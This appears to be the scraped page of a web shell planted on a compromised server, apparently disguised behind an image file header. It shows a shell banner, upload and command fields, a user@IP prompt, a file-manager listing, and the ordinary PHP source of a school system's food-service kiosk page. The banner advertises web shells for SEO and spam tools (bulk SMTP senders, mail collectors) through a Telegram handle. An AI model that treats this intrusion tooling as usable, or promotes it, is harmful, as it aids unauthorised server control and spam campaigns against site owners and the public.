����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

eblama1@216.73.217.57: ~ $
<?php

require_once 'modules/Food_Service/includes/FS_Icons.inc.php';

$_REQUEST['cat_id'] = issetVal( $_REQUEST['cat_id'] );

DrawHeader( ProgramTitle() );

$menus_RET = DBGet( "SELECT MENU_ID,TITLE
	FROM food_service_menus
	WHERE SCHOOL_ID='" . UserSchool() . "'
	ORDER BY SORT_ORDER IS NULL,SORT_ORDER", [], [ 'MENU_ID' ] );

if ( empty( $_REQUEST['menu_id'] ) )
{
	if ( empty( $_SESSION['FSA_menu_id'] ) )
	{
		if ( ! empty( $menus_RET ) )
		{
			$_REQUEST['menu_id'] = $_SESSION['FSA_menu_id'] = key( $menus_RET );
		}
		else
		{
			ErrorMessage( [ _( 'There are no menus yet setup.' ) ], 'fatal' );
		}
	}
	else
	{
		$_REQUEST['menu_id'] = $_SESSION['FSA_menu_id'];
	}
}
else
{
	$_SESSION['FSA_menu_id'] = $_REQUEST['menu_id'];
}

$categories_RET = DBGet( "SELECT MENU_ID,CATEGORY_ID,TITLE
	FROM food_service_categories
	WHERE SCHOOL_ID='" . UserSchool() . "'
	ORDER BY SORT_ORDER IS NULL,SORT_ORDER", [], [ 'MENU_ID', 'CATEGORY_ID' ] );
//FJ fix error Warning: key() expects parameter 1 to be array, null given
//if ( ! $_REQUEST['cat_id'] || ! $categories_RET[$_REQUEST['menu_id']][$_REQUEST['cat_id']])

if ( ( ! $_REQUEST['cat_id'] || ! $categories_RET[$_REQUEST['menu_id']][$_REQUEST['cat_id']] ) && isset( $categories_RET[$_REQUEST['menu_id']] ) )
{
	$_REQUEST['cat_id'] = key( $categories_RET[$_REQUEST['menu_id']] );
}

$meals = [];

foreach ( (array) $menus_RET as $id => $menu )
{
	$meals[] = [
		'title' => $menu[1]['TITLE'],
		'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&menu_id=' . $id,
	];
}

$cats = [];
//FJ fix error Warning: Invalid argument supplied for foreach()

if ( isset( $categories_RET[$_REQUEST['menu_id']] ) )
{
	foreach ( (array) $categories_RET[$_REQUEST['menu_id']] as $category_id => $category )
	{
		$cats[ $category_id ] = [
			'title' => $category[1]['TITLE'],
			'link' => 'Modules.php?modname=' . $_REQUEST['modname'] . '&menu_id=' . $_REQUEST['menu_id'] .
				'&cat_id=' . $category_id,
		];
	}
}

$items_RET = DBGet( "SELECT MENU_ITEM_ID,
	(SELECT DESCRIPTION FROM food_service_items WHERE ITEM_ID=fsmi.ITEM_ID) AS DESCRIPTION,
	(SELECT ICON FROM food_service_items WHERE ITEM_ID=fsmi.ITEM_ID) AS ICON
FROM food_service_menu_items fsmi
WHERE MENU_ID='" . (int) $_REQUEST['menu_id'] . "'
AND CATEGORY_ID='" . (int) $_REQUEST['cat_id'] . "'
ORDER BY (SELECT SORT_ORDER FROM food_service_categories WHERE CATEGORY_ID=fsmi.CATEGORY_ID),
SORT_ORDER IS NULL,SORT_ORDER" );

echo '<br />';

$_ROSARIO['selected_tab'] = 'Modules.php?modname=' . $_REQUEST['modname'] . '&menu_id=' . $_REQUEST['menu_id'];

PopTable( 'header', $meals );

if ( ! empty( $items_RET ) )
{
	$per_row = ceil( sqrt( count( $items_RET ) ) );

	echo '<table class="center cellpadding-5">';

	$i = 0;

	foreach ( (array) $items_RET as $item )
	{
		if ( ! $i )
		{
			echo '<tr>';
			$i = $per_row;
		}

		$kiosk_menu_item = '<td style="border: 1px solid" title="' . AttrEscape( $item['DESCRIPTION'] ) . '">' .
			makeIcon( $item['ICON'], '', '128' ) . '</td>';

		// @since 11.2 Action hook Filter each menu item in the loop
		do_action( 'Food_Service/Kiosk.php|menu_item_loop', [ &$kiosk_menu_item, $item ] );

		echo $kiosk_menu_item;
		$i--;

		if ( ! $i )
		{
			echo '</tr>';
		}
	}

	if ( $i )
	{
		echo '</tr>';
	}

	echo '</table>';
}

echo '<br /><div class="center">';

$i = 0;

if ( count( $cats ) === 1 )
{
	$cat = reset( $cats );

	echo $cat['title'];
}
else
{
	foreach ( $cats as $cat_id => $cat )
	{
		if ( $i++ > 0 )
		{
			echo ' | ';
		}

		echo '<a href="' . URLEscape( $cat['link'] ) . '">' .
			( $_REQUEST['cat_id'] == $cat_id ? '<b>' . $cat['title'] . '</b>' : $cat['title'] ) .
			'</a>';
	}
}

echo '</div>';

PopTable( 'footer' );

Filemanager

Name Type Size Permission Actions
Students Folder 0755
Users Folder 0755
includes Folder 0755
Accounts.php File 1.09 KB 0644
ActivityReport.php File 5.37 KB 0644
AssignSchool.php File 3.72 KB 0644
BalanceReport.php File 3.04 KB 0644
DailyMenus.php File 10.33 KB 0644
Kiosk.php File 3.6 KB 0644
Menu.php File 1.97 KB 0644
MenuItems.php File 13.85 KB 0644
MenuReports.php File 15.67 KB 0644
Menus.php File 7.13 KB 0644
Reminders.php File 4.8 KB 0644
ServeMenus.php File 3.08 KB 0644
Statements.php File 4.03 KB 0644
Student.inc.php File 3.53 KB 0644
TakeMenuCounts.php File 9.01 KB 0644
TeacherCompletion.php File 5.86 KB 0644
Transactions.php File 2.26 KB 0644
TransactionsReport.php File 5.5 KB 0644
User.inc.php File 2.43 KB 0644